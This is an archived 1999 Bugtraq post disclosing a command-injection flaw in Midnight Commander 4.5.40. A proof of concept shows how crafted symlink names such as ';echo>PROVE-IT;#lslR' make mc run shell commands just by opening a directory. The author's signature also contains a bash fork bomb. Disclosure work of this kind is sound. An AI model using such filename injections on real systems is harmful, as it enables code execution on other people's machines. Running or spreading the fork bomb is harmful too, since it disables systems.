[12117] in bugtraq
mc bug
daemon@ATHENA.MIT.EDU (Michal Zalewski)
Tue Oct 5 13:40:47 1999
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-2
Message-Id: <lcamtuf.4.05.9907100557020.2060-100000@nimue.ids.pl>
Date: Sat, 10 Jul 1999 06:09:33 +0200
Reply-To: Michal Zalewski <lcamtuf@IDS.PL>
From: Michal Zalewski <lcamtuf@IDS.PL>
X-To: BUGTRAQ@SECURITYFOCUS.COM
To: BUGTRAQ@SECURITYFOCUS.COM
Content-Transfer-Encoding: 8bit
Hmmm... mc 4.5.40.
~$ grep lslR /usr/lib/mc/extfs/extfs.ini
# For browsing lslR listings (found on many ftp sites)
lslR
~$ ls -l /usr/lib/mc/extfs/lslR
-rwxr-xr-x 1 root root 635 paź 18 1998 /usr/lib/mc/extfs/lslR
~$ ln -s /DoesNotExist ';echo>PROVE-IT;#lslR'
~$ touch ';echo>PROVE-IT;'
~$ ls -l PROVE-IT
ls: PROVE-IT: No such file or directory
~$ mc
(Surprisingly, you'll see directory instead of broken symlink. No need
to do anything, immediately quit from Midnight Commander)
~$ ls -l PROVE-IT
-rw------- 1 lcamtuf lcamtuf 1 lip 10 05:55 PROVE-IT
Nice - lslR fs support is only an example, of course.
_______________________________________________________________________
Michal Zalewski [lcamtuf@ids.pl] [link / marchew] [dione.ids.pl SYSADM]
[Marchew Industries] ! [http://lcamtuf.na.export.pl] bash$ :(){ :|:&};:
[voice phone: +48 22 813 25 86] <=-=> [cellular phone: +48 501 4000 69]
Iterowac jest rzecza ludzka, wykonywac rekursywnie - boska [P. Deutsch]